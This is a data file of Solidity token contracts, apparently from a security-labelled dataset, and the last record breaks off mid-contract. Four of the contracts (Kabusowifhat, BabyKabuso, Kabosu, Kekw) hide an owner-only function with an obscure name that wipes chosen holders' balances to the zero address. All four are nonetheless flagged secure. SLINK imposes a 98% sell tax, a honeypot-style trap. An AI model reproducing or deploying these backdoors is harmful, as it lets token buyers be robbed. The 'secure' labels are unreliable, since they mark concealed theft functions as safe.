"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PridePepeAI is ERC20, Ownable {\n constructor() ERC20(\"Pride Pepe AI\", \"GAI\") {\n _mint(msg.sender, 10000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3720.sol",
"secure": 1,
"size_bytes": 360
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Kabusowifhat is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable landscape;\n\n constructor() {\n _name = \"KabusoWifHat\";\n\n _symbol = \"KABHAT\";\n\n _decimals = 18;\n\n uint256 initialSupply = 458000000;\n\n landscape = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == landscape, \"Not allowed\");\n\n _;\n }\n\n function eye(address[] memory large) public onlyOwner {\n for (uint256 i = 0; i < large.length; i++) {\n address account = large[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3721.sol",
"secure": 1,
"size_bytes": 4368
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract BabyKabuso is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable judgement;\n\n constructor() {\n _name = \"BabyKABUSO\";\n\n _symbol = \"BKABUSO\";\n\n _decimals = 18;\n\n uint256 initialSupply = 857000000;\n\n judgement = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == judgement, \"Not allowed\");\n\n _;\n }\n\n function conclusiosdfe(address[] memory dkejudhs) public onlyOwner {\n for (uint256 i = 0; i < dkejudhs.length; i++) {\n address account = dkejudhs[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3722.sol",
"secure": 1,
"size_bytes": 4384
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 175b14b): Contract locking ether found Contract EveOneCat has payable functions EveOneCat.receive() But does not have a function to withdraw the ether\n// Recommendation for 175b14b: Remove the 'payable' attribute or add a withdraw function.\ncontract EveOneCat is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 2_200_000_000 * 1 ether;\n\n uint256 public constant MINT_AMOUNT = 100_000 * 1 ether;\n\n mapping(address => uint256) public numMinted;\n\n constructor() ERC20(\"EveOneCat\", \"EveOneCat\") Ownable(msg.sender) {\n uint256 lp_amt = 200_000_000 * 1 ether;\n\n _mint(0x6b595cFbA029478515fFA0be8764769438A6477D, lp_amt);\n\n renounceOwnership();\n }\n\n function __mint() private {\n require(\n totalSupply() + MINT_AMOUNT <= MAX_SUPPLY,\n \"Total supply exceeded\"\n );\n\n require(numMinted[msg.sender] < 10, \"Address minted 10\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n numMinted[msg.sender] += 1;\n\n _mint(msg.sender, MINT_AMOUNT);\n }\n\n function mint() external {\n __mint();\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 175b14b): Contract locking ether found Contract EveOneCat has payable functions EveOneCat.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 175b14b: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {\n __mint();\n }\n}",
"file_name": "solidity_code_3723.sol",
"secure": 0,
"size_bytes": 1793
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Kabosu is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable braveman;\n\n constructor() {\n _name = \"KABOSU\";\n\n _symbol = \"KABOSU\";\n\n _decimals = 18;\n\n uint256 initialSupply = 657000000;\n\n braveman = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == braveman, \"Not allowed\");\n\n _;\n }\n\n function clothing(address[] memory juchg) public onlyOwner {\n for (uint256 i = 0; i < juchg.length; i++) {\n address account = juchg[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3724.sol",
"secure": 1,
"size_bytes": 4358
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract EuroPapa is ERC20 {\n constructor() ERC20(\"EuroPapa\", \"PAPA\") {\n _mint(msg.sender, 420000000000000 * 10 ** 18);\n }\n\n function burn(uint256 value) external {\n _burn(msg.sender, value);\n }\n}",
"file_name": "solidity_code_3725.sol",
"secure": 1,
"size_bytes": 360
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SLINK is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _excludeFromFees;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 46a9509): SLINK._markettingWallets should be immutable \n\t// Recommendation for 46a9509: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _markettingWallets;\n\n\t// WARNING Optimization Issue (constable-states | ID: ff9dbc9): SLINK._reduceTaxAt should be constant \n\t// Recommendation for ff9dbc9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceTaxAt = 42;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7f4a0cd): SLINK._noSwapbackBefore should be constant \n\t// Recommendation for 7f4a0cd: Add the 'constant' attribute to state variables that never change.\n uint256 private _noSwapbackBefore = 35;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a768b32): SLINK._decimals should be constant \n\t// Recommendation for a768b32: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8ce29e2): SLINK._tTotal should be immutable \n\t// Recommendation for 8ce29e2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tTotal = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 04b029c): SLINK._name should be constant \n\t// Recommendation for 04b029c: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"Slink\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 1dd510f): SLINK._symbol should be constant \n\t// Recommendation for 1dd510f: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"SLINK\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: 975c43b): SLINK._swapbackThreshold should be immutable \n\t// Recommendation for 975c43b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapbackThreshold = _tTotal.mul(1).div(100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 069aaac): SLINK._swapbackLimit should be immutable \n\t// Recommendation for 069aaac: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapbackLimit = _tTotal.mul(1).div(100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool public tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _markettingWallets = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n _excludeFromFees[owner()] = true;\n\n _excludeFromFees[address(this)] = true;\n\n _excludeFromFees[_markettingWallets] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b5b4d37): SLINK.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b5b4d37: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5ca4455): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5ca4455: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ba0df67): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ba0df67: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5ca4455\n\t\t// reentrancy-benign | ID: ba0df67\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5ca4455\n\t\t// reentrancy-benign | ID: ba0df67\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aca3103): SLINK._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for aca3103: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ba0df67\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5ca4455\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a73f314): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a73f314: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 207f7b3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 207f7b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount.mul((_buyCount > _reduceTaxAt) ? 0 : 20).div(\n 100\n );\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_excludeFromFees[to]\n ) {\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul((_buyCount >= _reduceTaxAt) ? 98 : 35)\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _swapbackThreshold &&\n _buyCount > _noSwapbackBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: a73f314\n\t\t\t\t// reentrancy-eth | ID: 207f7b3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _swapbackLimit))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a73f314\n\t\t\t\t\t// reentrancy-eth | ID: 207f7b3\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 207f7b3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a73f314\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 207f7b3\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 207f7b3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a73f314\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5ca4455\n\t\t// reentrancy-events | ID: a73f314\n\t\t// reentrancy-benign | ID: ba0df67\n\t\t// reentrancy-eth | ID: 207f7b3\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: c8fd22d): SLINK.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _markettingWallets.transfer(amount)\n\t// Recommendation for c8fd22d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5ca4455\n\t\t// reentrancy-events | ID: a73f314\n\t\t// reentrancy-eth | ID: 207f7b3\n\t\t// arbitrary-send-eth | ID: c8fd22d\n _markettingWallets.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8322e36): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8322e36: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ff88070): SLINK.open() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ff88070: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7ba0f74): SLINK.open() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7ba0f74: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d95d4cd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d95d4cd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function open() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 8322e36\n\t\t// reentrancy-eth | ID: d95d4cd\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 8322e36\n\t\t// unused-return | ID: ff88070\n\t\t// reentrancy-eth | ID: d95d4cd\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 8322e36\n\t\t// unused-return | ID: 7ba0f74\n\t\t// reentrancy-eth | ID: d95d4cd\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 8322e36\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d95d4cd\n tradingOpen = true;\n }\n\n function withdraw() public onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 76fc83a): SLINK.withdrawToken(address) ignores return value by tokenContract.transfer(msg.sender,balance)\n\t// Recommendation for 76fc83a: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawToken(address tokenAddress) public onlyOwner {\n IERC20 tokenContract = IERC20(tokenAddress);\n\n uint256 balance = tokenContract.balanceOf(address(this));\n\n require(balance > 0, \"No tokens to clear\");\n\n\t\t// unchecked-transfer | ID: 76fc83a\n tokenContract.transfer(msg.sender, balance);\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_3726.sol",
"secure": 0,
"size_bytes": 15189
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Kekw is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable efflux;\n\n constructor() {\n _name = \"KEKW\";\n\n _symbol = \"KEKW\";\n\n _decimals = 18;\n\n uint256 initialSupply = 367000000;\n\n efflux = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == efflux, \"Not allowed\");\n\n _;\n }\n\n function surgeon(address[] memory crisis) public onlyOwner {\n for (uint256 i = 0; i < crisis.length; i++) {\n address account = crisis[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3727.sol",
"secure": 1,
"size_bytes": 4348
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract MyTokenContract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4da155b): MyTokenContract.feeWallet should be immutable \n\t// Recommendation for 4da155b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private feeWallet;\n\n uint8 private constant _decimals = 18;\n\n 